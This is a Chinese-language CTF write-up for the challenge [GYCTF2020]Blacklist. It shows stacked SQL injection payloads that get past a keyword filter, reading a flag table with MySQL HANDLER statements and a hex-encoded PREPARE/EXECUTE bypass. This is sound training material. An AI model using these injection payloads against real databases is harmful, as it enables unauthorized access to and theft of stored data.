首页 > 其他分享 >[GYCTF2020]Blacklist

[GYCTF2020]Blacklist

时间:2024-07-30 13:06:02浏览次数:9  
标签:name show GYCTF2020 Blacklist HANDLER inject select string

[GYCTF2020]Blacklist

Step 1

输入1,回显:

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

稍微尝试注入:

/?inject=1'+union+select+1,2,3;#

回显:

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

发现这些关键字被过滤了。

Step 2

发现可以堆叠注入:

/?inject=1';show databases;#

有回显:

array(1) {
  [0]=>
  string(11) "ctftraining"
}

查表:

/?inject=1';show tables;#

回显:

array(1) {
  [0]=>
  string(8) "FlagHere"
}

查列:

/?inject=1';show columns from FlagHere;#

回显:

array(6) {
  [0]=>
  string(4) "flag"

但是不能用select去查询,于是可以采取mysql的handler(handler命令也可以像select一样进行查询):

/?inject=1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
array(1) {
  [0]=>
  string(42) "flag{~}"
}

堆叠注入

堆叠注入和平常的注入不同,平常类型的注入主要靠的已有的select(通常是)进行查询操作,而堆叠就是利用分号进行隔断,再进行新一行的sql命令。

主要原因

mysqli_multi_query($sql1,$sql2);

具体注入方法:

查库
';show databases;
查表
';show tables;

';show columns from [table_name];

';select [column_name] from [table_name];

';SeT @a=0x73656c656374202a2066726f6d205b7461626c655f6e616d655d;prepare execsql from @a;execute execsql;

Handler命令

HANDLER命令是MySQL中的一种特殊命令,它允许用户在底层与表的存储引擎直接交互。通过HANDLER,你可以打开一个表,然后逐行读取数据,而不需要使用SELECT语句。这种底层的访问方式在某些场景下可以提供更高的性能,尤其是在需要批量处理大量数据的情况下。

语法:

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,…)
[ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name CLOSE

参考:MySQL HANDLER命令:一种独特的表数据访问方式

标签:name,show,GYCTF2020,Blacklist,HANDLER,inject,select,string
From: https://www.cnblogs.com/bolerat/p/18332133

相关文章

  • 使用ublacklist屏蔽某度
    谷歌浏览器,已升级到最新版,uBlacklist插件也已安装设置如下:内容:baidu.com*://*.baidu.com/*tieba.baidu.com*.baidu.*/勾选要启用的搜索引擎:启用后效果如下:点开发现确实屏蔽掉某度了,感觉整个世界瞬间清净晒:惜秦皇汉武,略输文采;唐宗宋祖,稍逊风骚~冯唐易老,李广难封。......
  • [GYCTF2020]Ez_Express 1
    原型链污染,信息收集,命令执行,代码审计这个题我在做之前学了p神的教程https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html打开后可以发现是一个登录界面,之后我们先进行信息收集找到了www.zip这个文件,然后得到了源码index.jsvarexpress=req......
  • [GYCTF2020]EasyThinking 1
    think模板,6.0特性因为题目已经很明确给我们了hint,直接尝试查看特性发现这里是任意文件写入的hint具体可以查看https://www.freebuf.com/vuls/352360.html这里我们直接进行账号注册因为他是根据cookie的名称进行定义文件名称的所以我们可以直接写文件名,这里的文件名长度要求......
  • BUUCTF---web---[GYCTF2020]Blacklist
    1、来到题目连接页面2、测试单引号和双引号,单引号报错,双引号没报错1'1"3、使用万能句式4、使用堆叠注入测试,查看数据库名1';showdatabases;# 5、查看表名1';showtables;#6、查看FlagHere中字段名1';showcolumnsfromFlagHere;#  7、查看flag字段中......
  • [GYCTF2020]FlaskApp
    [GYCTF2020]FlaskApp打开环境是一个base64编解码的网站提示里是一张图片源码提示PIN尝试输入错误字符看看页面结果,于是在解码页面输入123有源码泄露@app.route('/decode',methods=['POST','GET'])defdecode():ifrequest.values.get('text'):text=r......
  • [GYCTF2020]Blacklist
    [GYCTF2020]Blacklist打开题目是一个输入框,输入数字可以查看到内容用万能语句可以查看到更多东西使用联合查询发现有过滤,select这些都被过滤了show没有被过滤,所以可以查看相关信息通过师傅们的WP得知,可以用desc查看表结构的详细信息desctable_name;此处desc是describ......
  • BUUCTF [GYCTF2020]FlaskApp
    因为题目名Flask,所以先观察功能点,寻找易发生ssti的功能。考虑到功能异常抛出常见于解密环节,所以在解密界面随便输入一段不能解密的。直接报错抛出debug信息,看来是开启了debug模式。payload的使用需要输入到加密界面,再将加密结果输入到解密界面查看结果。方法1首先想办法把完......
  • python 从bulkblacklist信誉查询网站提交查询
    importurllibimporturllib2#importwebbrowserimportreimportsocketdefis_domain_in_black_list(domain,ip):try_time=3url="http://www.bulkblacklist.com/"foriinrange(try_time):try:data=......
  • WEB|[GYCTF2020]Ezsqli
    页面只有一个输入框,并且题目提示为SQL注入输入1输入2输入3输入1、2和3输出的内容不同,所以判断为布尔注入判断数据库长度为21,确认为布尔注入依次匹配字符,匹配成功返回输入1的页面,否则显示输入2的页面payload:id=if(length(database())=21,1,2)爆数据库名id=if(sub......
  • GYCTF2020-Ez-Express
    title:GYCTF2020-Ez_Expressdate:2022-11-2514:49:24tags:CTF从这个题学到不少东西,记录一下。初识原型链首先这题是有个原型链污染,js中每个类都有个属性__proto_......